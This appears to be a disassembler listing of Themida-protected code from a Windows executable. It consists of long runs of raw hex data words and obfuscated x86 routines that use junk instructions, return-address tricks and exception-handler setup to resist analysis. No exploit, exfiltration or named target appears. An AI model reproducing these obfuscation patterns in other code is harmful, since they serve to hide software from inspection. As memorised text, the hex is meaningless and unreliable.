dd 0AE9h, 7EF57E00h, 4A0E5765h, 0BB7A0A24h, 4448151Dh
dd 2121BD83h, 0F000612h, 4684h, 0B800h, 8B520000h, 8D8D5FF8h
dd 6124DB5h, 35D9D8Bh, 81660612h, 0FFE1CCE7h, 52006AE1h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 33FCC626h, 91DFAB15h, 0D58589A7h, 83061221h, 121BD9BDh
dd 840F0006h, 4EEh, 9299D89h, 0E9500612h, 13h, 0D4E54244h
dd 8C7DA2DBh, 0D39A04BFh, 0F16C7455h, 5B0E27F3h, 1BD9BD83h
dd 0F010612h, 4DC84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1504h, 0C3514100h, 830FA87Fh, 6, 6D59D8Bh
dd 0BD830612h, 6121BD9h, 70860F03h, 0F000004h, 188Ah, 13E900h
dd 74B00000h, 88FE7059h, 5664FE34h, 998094C5h, 0BAC1860Dh
dd 6A60B1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
dd 51410000h, 6CAAADC3h, 0BB52F5CFh, 668FD2A2h, 0D98C665Bh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 6BC35646h
dd 6116B1C0h, 80008F8Dh, 6A04E1h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1D0424h, 50400000h, 0FD9285C3h, 28A0F4Eh
dd 0E94C9794h, 10h, 7CC47EF2h, 0F4A230DEh, 17F9C712h, 9583EB0Ah
dd 0ADBBF0Fh, 52840FC9h, 6A000001h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8BBDC353h
dd 12308D85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1D04h, 0C3514100h, 1024C83Dh, 0BF0755FCh, 0DF8B71E9h
dd 31658533h, 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1A0424h, 53430000h, 18F9AEC3h, 0C6D21F5Ch, 50D8BF0Fh
dd 0F610D6BBh, 2404890Fh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ch, 0DFC35141h, 7398C45Ah, 556AD4CEh, 19559529h
dd 6A0612h, 26B5BD89h, 0BD010612h, 61208DDh, 0EC815668h
dd 0E9605161h, 11h, 0BC59B84Eh, 0F76AAEE5h, 3ED6BEAFh
dd 81564868h, 61585142h, 2434815Bh, 61F382A9h, 18E59589h
dd 95FF0612h, 6122379h, 28619D8Bh, 85890612h, 6120E3Dh
dd 0C8128589h, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 64958BC3h, 3CDA0E67h, 48D0Fh, 0BB660000h
dd 0EEE9B55Fh, 6A000001h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 18042444h, 41000000h, 0C4A6C351h, 293F66E4h
dd 1200AD85h, 0A858B06h, 0C70615C8h, 1800h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 84DBC60Fh, 0B58BF960h, 615C80Eh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 19h, 0F6C35646h, 0B521A966h, 6E9EFh
dd 0C6460000h, 0A18F149Ch, 2AB9858Bh, 6A0612h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 0F279FBC3h, 5D886DA4h, 0BD8BD3FEh, 61210A5h, 2A99BD03h
dd 6890612h, 0A082E781h, 858B17ABh, 612308Dh, 0E3D9D8Bh
dd 46890612h, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1B04h, 0C3574700h, 59783F6Eh, 3B37CCFCh, 8953B350h
dd 6A2434h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
dd 51410000h, 931896C3h, 0FFFFB70Fh, 15C80AB5h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 0B551044Ch, 0A2CCBF66h, 4E8h, 1F03FF00h, 8E900h, 0BAD70000h
dd 0D9A4AE77h, 0E850BCB2h, 5, 0A402FA40h, 448B5B3Dh, 6FBF0424h
dd 8B12F671h, 0BE800h, 0CA4F0000h, 32DA3CF9h, 8485D9F1h
dd 44895BDAh, 0E9600424h, 9, 0AA706551h, 6461EF31h, 0CE8B3h
dd 0F7E50000h, 0B292F890h, 37A02DE7h, 615E7EAFh, 52006A58h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 4708809Dh, 1D53E9C1h, 12858DEEh, 660615C8h
dd 6650DF8Bh, 489D88Bh, 0A1BB6624h, 7995FFABh, 89061223h
dd 121B8DBDh, 0EF816106h, 4DC4C2CFh, 10E9h, 1D4FB00h, 46DC1F06h
dd 0A98E76ABh, 0F55F4DD9h, 0D985C7A5h, 306121Bh, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h
dd 42000000h, 0F171C352h, 0B3B5DD5Eh, 83F98BB2h, 15C812BDh
dd 840F0006h, 4Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 19h, 68C35343h, 0F74023FBh, 0CD958985h, 0E9061228h
dd 3Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h
dd 53C35343h, 50A964E7h, 110C30h, 0C1011144h, 443010E8h
dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h
dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h
dd 4E98311h, 0EBE775h, 9D8BC08Bh, 61207B9h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0A9C35646h, 0C870F9Ah
dd 0F000000h, 68Eh, 0A9BD0300h, 83061215h, 121BD9BDh, 850F0306h
dd 3F7h, 0BD83DF8Bh, 615C812h, 0E8840F00h, 0FF000003h
dd 15C812B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1504h, 0C3524200h, 0BD8B7D63h, 6120A25h, 0DE9h, 0F59F1E00h
dd 74334DE5h, 0BB0EB692h, 95FF1930h, 6121AA9h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 8FC35646h, 5F520437h
dd 63BB69A0h, 8B233B6Fh, 15C806B5h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 44E5F2A0h
dd 5A9089A3h, 419D8BFFh, 66061209h, 9EC4E781h, 106C7h
dd 0BD8B0001h, 6121051h, 0E8525096h, 13h, 0C82EE016h, 0CD644B7Fh
dd 660A08EDh, 70F80EB5h, 8B4D3947h, 310F5BDEh, 0FE860h
dd 142A0000h, 5ABC386Dh, 0E80BBA83h, 0D993365Eh, 5E575807h
dd 50585A61h, 12E8h, 0D55D2900h, 6122946Fh, 0D040E661h
dd 0EC3C2B12h, 66B8462Bh, 965FD98Bh, 6C2AD381h, 0B5FF6B3Fh
dd 615C812h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 15h, 0BAC35646h, 4DBD8B79h, 8B061218h, 122EEDBDh, 595FF06h
dd 6A06121Ch, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1B042444h, 43000000h, 0E4EBC353h, 73BE425Fh, 0AE97414h
dd 31000000h, 7FC03920h, 9A592E33h, 6B58B96h, 0BF0615C8h
dd 177F1C60h, 1A5858Bh, 81660612h, 893C79F7h, 0C486h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 8B66EA57h, 12E8DAh, 0B9BB0000h, 68FC154Ah, 7017AF46h
dd 0BF1CA08Ch, 0B5A9B294h, 2CD9BD33h, 8B5B0612h, 1209A195h
dd 0C7816606h, 0C2836318h, 36EABB04h, 5089008Fh, 50006A20h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 39FE03E5h, 0F88B0706h, 0DC6F858Dh, 0F3800615h, 0B88689E5h
dd 50000000h, 1B699529h, 6A5B0612h, 69BD8B00h, 0FF061210h
dd 15C812B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1404h, 0C3534300h, 0BABB66F6h, 0A595FF1Eh, 6A061206h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
dd 41000000h, 14DAC351h, 6EBF66DDh, 12E946h, 6D2A0000h
dd 3263FEh, 0BCB5DC44h, 5528D221h, 0B7AEE87Bh, 0F98B6650h
dd 6A243489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 17042444h, 41000000h, 6B9DC351h, 0B5FF037Eh, 615C812h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 2FC35040h
dd 0CE04484h, 423245E6h, 1D759D8Bh, 81660612h, 0FF5BABDFh
dd 12028195h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1D04h, 0C3514100h, 0FADC1301h, 35B0E566h, 0BD83DCE6h
dd 6122A09h, 30840F00h, 80000000h, 0BB5023F7h, 75E84DDBh
dd 6A243489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 19042444h, 43000000h, 9F7CC353h, 2E5D7803h, 0FFF98B66h
dd 15C812B5h, 759D2906h, 0FF06120Ch, 1218C195h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
dd 12B5FF0Bh, 0BB0615C8h, 4B902931h, 1BA195FFh, 83F80612h
dd 121EB1BDh, 840F0206h, 43h, 24159589h, 858B0612h, 61203A5h
dd 0C6FABF0Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 0C6FF96C3h, 759D8BCBh, 0F061230h
dd 680h, 159D8B00h, 0C7061219h, 121B5985h, 6, 8CF38100h
dd 0E91F068Ah, 0FFFFF304h, 1318589h, 0C18B0612h, 15458D89h
dd 858D0612h, 6122E01h, 57F56053h, 505B6158h, 0F8240489h
dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
dd 52420000h, 9531F4C3h, 612101Dh, 6E9006Ah, 76000000h
dd 88AA21A4h, 5A858D20h, 8306168Bh, 6A05C0h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0C112F6C3h
dd 5557428Eh, 8BD477E0h, 121FF5BDh, 66609006h, 0FCD63BFh
dd 58Dh, 4A4CBA00h, 50613541h, 0AE8h, 4BC2EC00h, 655E8939h
dd 501EC377h, 14E852h, 0E87F0000h, 66982142h, 7905FFEBh
dd 0B3704494h, 613E31Fh, 0F5FB5C9h, 8B0F31h, 5A000000h
dd 8B905B58h, 120ED9BDh, 6A006A06h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0FBDC357h
dd 8B50DEB7h, 6A5BDAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Dh, 73C35343h, 9793F4A9h, 9BBFE945h, 0B595FF07h
dd 5106120Dh, 1E806EBFh, 8D8D5B15h, 615AF02h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 80C35747h, 376A6E0Ah
dd 0AF42F679h, 219D8B13h, 0FF06122Ch, 50006AD1h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
dd 0ADDB75F4h, 8908CB81h, 0BD830CD4h, 61207ADh, 0BD850F01h
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 0BA14C355h, 8CA7AA96h, 26A03C9h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 9FC35545h
dd 4820F1Ah, 66000000h, 90188CBBh, 0F880Fh, 66600000h
dd 5E9C88Bh, 0C2000000h, 0F442AD17h, 66505061h, 905BD98Bh
dd 12E8h, 0C466FB00h, 8F95DC24h, 5EFD2218h, 0D5EB24B1h
dd 0B31FE0EDh, 0BD8B5BA8h, 6121F7Dh, 6A595FFh, 6A0612h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 409D3AC3h, 517F2E21h, 0FDB313Eh, 38Ch, 0DFB70F00h, 0CA2E9h
dd 0E800h, 815D0000h, 168B64EDh, 15BD8B06h, 0BF061224h
dd 251AC002h, 9437858Dh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1A0424h, 53430000h, 0E01A88C3h, 0B0F55082h
dd 0BB90FB8Bh, 45F85939h, 11E950h, 2C8C0000h, 6CE7CB61h
dd 144535Ah, 0A7F5F116h, 902EC9C1h
dd 30F78166h, 35FF642Dh, 0
; ---------------------------------------------------------------------------
mov di, bx
mov large fs:0, esp
push 0
push edi
call sub_58F5F5
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58F5F5 proc near ; CODE XREF: Themida_:0058F5EDp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_58F5F5 endp
; ---------------------------------------------------------------------------
adc [esp+edi*8-62749107h], edx
inc ebp
pop ss
adc al, [esi]
inc dword ptr [ebp+6120679h]
xor ebx, 688A1F70h
push 0FFFFFFFFh
push 0
push edx
call sub_58F629
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58F629 proc near ; CODE XREF: Themida_:0058F621p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_58F629 endp
; ---------------------------------------------------------------------------
pop esi
test cl, 0C5h
sbb eax, 793F7520h
mov bx, 973Dh
push dword ptr [ebp+6120CD1h]
movzx edi, dx
call dword ptr [ebp+6122CB5h]
jmp loc_58F7B4
; ---------------------------------------------------------------------------
dw 8A0Fh
dd 8, 0FDBD8B56h, 5B06120Dh, 2B6000B0h, 1222DDB5h, 70E66106h
dd 0BDE1D781h, 71E430A0h, 3880Fh, 8B660000h, 0F613CDEh
dd 12783h, 0FFE8B00h, 890FC8B6h, 0
; ---------------------------------------------------------------------------
mov edx, 6
sub [ebp+612039Dh], ecx
mov eax, ecx
jmp loc_58F6B6
; ---------------------------------------------------------------------------
dw 0C14Eh
dd 438A0632h, 0D4035B92h
db 49h, 0Ah
; ---------------------------------------------------------------------------
loc_58F6B6: ; CODE XREF: Themida_:0058F6A5j
shr eax, 4
sub edi, 26E621A5h
mul dx
push edx
mov bh, 9Dh
pop ebx
jmp loc_58F6D3
; ---------------------------------------------------------------------------
db 95h
dd 0A3FCD63Ch
db 0C1h, 2Dh, 8Ah
; ---------------------------------------------------------------------------
loc_58F6D3: ; CODE XREF: Themida_:0058F6C6j
sub ecx, eax
mov edx, ecx
mov edi, [ebp+6121D69h]
jmp loc_58F6E9
; ---------------------------------------------------------------------------
cld
mov edi, [ebp+6122291h]
loc_58F6E9: ; CODE XREF: Themida_:0058F6DDj
mov eax, [ebp+6121405h]
jns loc_58F711
call near ptr loc_58F70A+4
mov fs, word ptr [eax]
mov esp, 0ACB3AFE2h
or [ecx], edi
outsd
call near ptr 3B354A1Bh
push eax
loc_58F70A: ; CODE XREF: Themida_:0058F6F5p
sbb eax, 8B21215Dh
clc
pop ebx
loc_58F711: ; CODE XREF: Themida_:0058F6EFj
mov ebx, [ebp+6120D4Dh]
add eax, 7
pusha
mov [ebp+6120A09h], edi
mov esi, [ebp+6121761h]
popa
add eax, 0
jmp loc_58F742
; ---------------------------------------------------------------------------
dd 0F37889BBh, 2C9F7F7Ch, 0DFFC920Ah, 94E22BF8h
; ---------------------------------------------------------------------------
mov bh, 0C0h
loc_58F742: ; CODE XREF: Themida_:0058F72Bj
or [ebp+6121345h], ebx
cmp edx, eax
jnb loc_58F76A
jmp loc_58F7B4
; ---------------------------------------------------------------------------
jo loc_58F75E
xor bl, 0D0h
loc_58F75E: ; CODE XREF: Themida_:0058F755j
jo loc_58F76A
mov [ebp+6121C39h], esi
loc_58F76A: ; CODE XREF: Themida_:0058F74Aj
; Themida_:loc_58F75Ej
mov ecx, [ebp+61203EDh]
sbb di, 0E53h
mov bh, 0E0h
and ecx, 1
jz loc_58F7B4
mov bx, 869Ah
and dword ptr [ebp+61203EDh], 0FFFFFFFEh
call sub_58F799
push cs
fxtract
retn
; ---------------------------------------------------------------------------
test [esi-3Ch], edx
adc al, 17h
; =============== S U B R O U T I N E =======================================
sub_58F799 proc near ; CODE XREF: Themida_:0058F78Bp
mov ebx, esi
pop edi
sub edi, 35265778h
mov [ebp+6121405h], edx
jbe loc_58F7AF
cmc
loc_58F7AF: ; CODE XREF: sub_58F799+Fj
jmp $+5
loc_58F7B4: ; CODE XREF: Themida_:0058F655j
; Themida_:0058F750j ...
lea esi, [ebp+6160CCEh]
mov di, bx
push 0
push 0
push ebx
call sub_58F7CA
and [ebx-3Dh], bl
sub_58F799 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_58F7CA proc near ; CODE XREF: sub_58F799+29p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_58F7CA endp
; ---------------------------------------------------------------------------
inc esi
jnb loc_58F7E6
push ebx
adc bl, 55h
pop edi
loc_58F7E6: ; CODE XREF: Themida_:0058F7DBj
add [ebp+61203ADh], edi
call dword ptr [ebp+61219CDh]
or [ebp+6121EC1h], edi
mov ecx, 8AFh
mov [ebp+61221DDh], eax
and ecx, 0FFFFFFFCh
mov ebx, 0A20A492h
cld
and bx, 72E0h
mov [ebp+6121A31h], ecx
sub eax, eax
mov bx, ax
mov edx, 0
mov edi, [ebp+6122CCDh]
jmp loc_58F832
; ---------------------------------------------------------------------------
dd 6FD0733Ah
db 99h, 82h
; ---------------------------------------------------------------------------
loc_58F832: ; CODE XREF: Themida_:0058F827j
; Themida_:0058F83Cj
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_58F832
push 0
push ebx
call sub_58F849
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58F849 proc near ; CODE XREF: Themida_:0058F841p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_58F849 endp
; ---------------------------------------------------------------------------
wait
jmp short loc_58F87F
; ---------------------------------------------------------------------------
mov ebp, 6121F55h
push 0
push esi
call sub_58F86C
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58F86C proc near ; CODE XREF: Themida_:0058F864p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_58F86C endp
; ---------------------------------------------------------------------------
db 0FBh, 9Ah, 0
; ---------------------------------------------------------------------------
loc_58F87F: ; CODE XREF: Themida_:0058F85Aj
sbb al, 1Fh
xchg eax, edx
jmp edx
; ---------------------------------------------------------------------------
dd 0BD8B3AE0h, 6120461h, 880Dh, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 811A9DA4h
dd 0E5B369DFh, 0A1958B28h, 6A061209h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 832DC350h
dd 0FB7A1837h, 0BB2E0315h, 7512DFDDh, 5058D8Bh, 6A0612h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 0FCF90AC3h, 0E781666Ch, 8B500C1Eh, 3188BC2h, 8B188BC1h
dd 3E8D1C1h, 58188BC2h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 75C35242h, 5A7F51EEh, 52E1F264h, 0BD835BFCh
dd 6122121h, 25840F00h, 66000000h, 0B8DF8Bh, 8B000000h
dd 121BB1BDh, 0B58D8D06h, 8006124Dh, 0E1FF8FEBh, 68C0Fh
dd 85890000h, 6122E09h, 1BD9BD83h, 0F000612h, 3D284h, 0CE900h
dd 1D820000h, 0FD166587h, 0C863DCAAh, 0BD835F9Ah, 6121BD9h
dd 0CF840F01h, 6A000003h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 14CC352h, 0C9BD094Eh
dd 83061206h, 121BD9BDh, 860F0306h, 368h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 17h, 0AAC35343h, 81EB37FCh
dd 468D4FF7h, 66F96053h, 0D98BD98Ch, 8B04E180h, 122329BDh
dd 0FC90A06h, 0DA84h, 858BF500h, 612308Dh, 85338AB7h, 6123165h
dd 0D51CCB81h, 89507877h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 0F31ACDC3h, 3181A906h
dd 1216818Dh, 6A006A06h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 15042444h, 41000000h, 0A66BC351h, 10D98501h
dd 10E80612h, 0FE000000h, 15BA2DF1h, 3A5B8BACh, 7DC95E45h
dd 5BABF4E1h, 0CFFDFB68h, 24048197h, 684F0604h, 4E5B529h
dd 95FF0612h, 6122379h, 12E9h, 0F9E16800h, 0B5B86A19h
dd 0B926EFA0h, 0DF20E74Fh, 89AC1AFCh, 15C81285h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
dd 5BA2C1DEh, 0D7EEA373h, 1BCE9F9h, 8BFC0000h, 15C80A85h
dd 499D8906h, 89061218h, 121F6985h, 1800C706h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h
dd 47000000h, 0A2AAC357h, 551A7776h, 93FD6935h, 159D01h
dd 0B58B0612h, 615C80Eh, 858BF88Bh, 6122AB9h, 660689FCh
dd 0B7E010BBh, 8D858B77h, 6A061230h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 8809C352h
dd 31899D33h, 46890612h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1C04h, 0C3564600h, 0ACF63B33h, 8D1ABFE2h
dd 50FB8BBAh, 0D473B960h, 896179F9h, 5FBB2434h, 0FF4B2B4Bh
dd 15C80AB5h, 14E906h, 35D40000h, 661514D2h, 40B4B1CEh
dd 764359Eh, 0F9C06354h, 0BD31986Ah, 6121651h, 4E8h, 1F03FF00h
dd 50D88A00h, 424448Bh, 0F08B6660h, 0C40FBE66h, 66008B61h
dd 4489FE8Bh, 0F600424h, 484h, 0D0BF6600h, 8E934h, 0A98D0000h
dd 63366E1Eh, 58616A6Ah, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 14h, 0EBC35141h, 19F99D2Bh, 858D0612h, 615C812h
dd 0AE9h, 17609E00h, 6F0E227Bh, 0BBEBE437h, 73D932ECh
dd 4800F50h, 52000000h, 895F5B56h, 6A2404h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0AF936CC3h
dd 54B2A13Ah, 0BF0F38ACh, 7995FFFEh, 6A061223h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 8A2CC357h, 6EAC22A1h, 0A21BD89h, 6A610612h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
dd 66B4C352h, 0B514320Fh, 850F8764h, 7, 0A793BF52h, 0C75B356Eh
dd 121BD985h, 306h, 85096000h, 6122861h, 12E9h, 97F83B00h
dd 396F7050h, 842759E5h, 0C6C249FCh, 6152F8D0h, 0C812BD83h
dd 0F000615h, 2F84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1704h, 0C3514100h, 1795F45Bh, 0C0F78166h
dd 21E9B1h, 9D890000h, 6121EA9h, 110C3050h, 1114400h, 3010E8C1h
dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh
dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
dd 0EBE77504h, 6AC08B00h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 3144C350h, 0DF7060E1h
dd 4033DF81h, 0BF660736h, 0BD830AD6h, 6121BD9h, 1A850F03h
dd 89000004h, 121A1DB5h, 12BD8306h, 615C8h, 407840Fh, 27B70000h
dd 0C812B5FFh, 0F7800615h, 0A995FF2Bh, 6A06121Ah, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 8B06C352h, 15C806B5h, 9832BF06h, 6C77EA0h, 10001h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 6C35646h, 3BE38166h
dd 68C0F05h, 8B000000h, 121C919Dh, 14E906h, 0C92F0000h
dd 74FCA19Ch, 3A7344B5h, 64EBF52Dh, 5AA5486Dh, 60961872h
dd 0E4BB6650h, 0CE959C2h, 0BA000000h, 7DD66F27h, 86C0EAD8h
dd 61959ADEh, 96F98B50h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ch, 0FC35747h, 0EB1C8CECh, 9BF6500Dh, 0B5FF1BB3h
dd 615C812h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 16h, 0B3C35141h, 95FF34D1h, 6121C05h, 1AFA30BFh, 6B58B75h
dd 500615C8h, 860F57h, 5F000000h, 0A5858B5Fh, 6A061201h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 0F49CC352h, 66348C24h, 0F04BDF81h, 0C48689h
dd 8BF80000h, 1209A195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1704h, 0C3554500h, 5D2D5232h, 2F699D23h
dd 0C2830612h, 45950904h, 89061212h, 6A2050h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0C58AB8C3h
dd 359A7E50h, 29F9E6B8h, 122CA5BDh, 6F858D06h, 660615DCh
dd 89E7AFBFh, 0B886h, 74D38100h, 6A331E86h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
dd 0F0279544h, 0E312582Eh, 9D89F694h, 61213E5h, 0C812B5FFh
dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
dd 51410000h, 0D77642C3h, 0B4792F7h, 0E8B65627h, 10h, 0E0B3C3BAh
dd 0A1C94AE5h, 95741C27h, 70B6797h, 0FF5BD88Bh, 1206A595h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h
dd 0C3524200h, 2682E603h, 850FB6D6h, 6, 767AEB81h, 0E8504CB6h
dd 5, 0A76ABEDBh, 0DE9CCh, 0FA690000h, 57440961h, 57B9DED7h
dd 5FCDD372h, 0FF243489h, 15C812B5h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0A3A2F948h
dd 0EA2DA14Fh, 28195FFh, 6A0612h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
dd 543B39C3h, 9BD83F7h, 6122Ah, 48840Fh, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 0FD51FCC3h, 7A25624Bh, 89502946h, 14E82434h, 5F000000h
dd 90E8BD77h, 0FF20C723h, 0D17FAE60h, 3076C568h, 890BBE0Ah
dd 121B3D8Dh, 0B5FF5B06h, 615C812h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 1CC35646h, 92DA1C8Dh, 8166BEACh
dd 0FF879FDFh, 1218C195h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 95E7818Ch
dd 0FF790CDCh, 15C812B5h, 0E5B52906h, 0FF061221h, 121BA195h
dd 0C5BD8B06h, 83061205h, 121EB1BDh, 840F0206h, 49h, 0A5858BF5h
dd 6A061203h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1A042444h, 47000000h, 20B1C357h, 0A116F1B9h, 0C6F6h
dd 9E8h, 0E77E6700h, 0C2A84729h, 9D8B93AFh, 6121671h, 2850F5Bh
dd 8A000000h, 5985C7F9h, 6121Bh, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 4267C353h
dd 92F7D776h, 0F436E947h, 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1A0424h, 53430000h, 0BA764FC3h, 0CD444F80h
dd 1858D89h, 0C18B0612h, 0FD8D89FCh, 8D06121Ch, 122E0185h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h
dd 0C3534300h, 9D8BB055h, 6122BC5h, 0E9525090h, 12h, 77FB8C79h
dd 0C99F8209h, 0EF120C2Ch, 0B0BB8E38h, 310F24CBh, 5AFE8B66h
dd 8C0F5058h, 8, 0F525060h, 61585A31h, 11E990h, 9CA00000h
dd 32D61AEEh, 1BD232B5h, 0FB914BFAh, 6A1C009Ah, 52006A00h
dd 0FE9h, 3F007300h, 20D5A45Ah, 0F8C7ABBDh, 66DDE9C3h
dd 18858D5Fh, 3106169Ah, 1207698Dh, 5C08306h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0C6C35141h, 1EEC61E7h
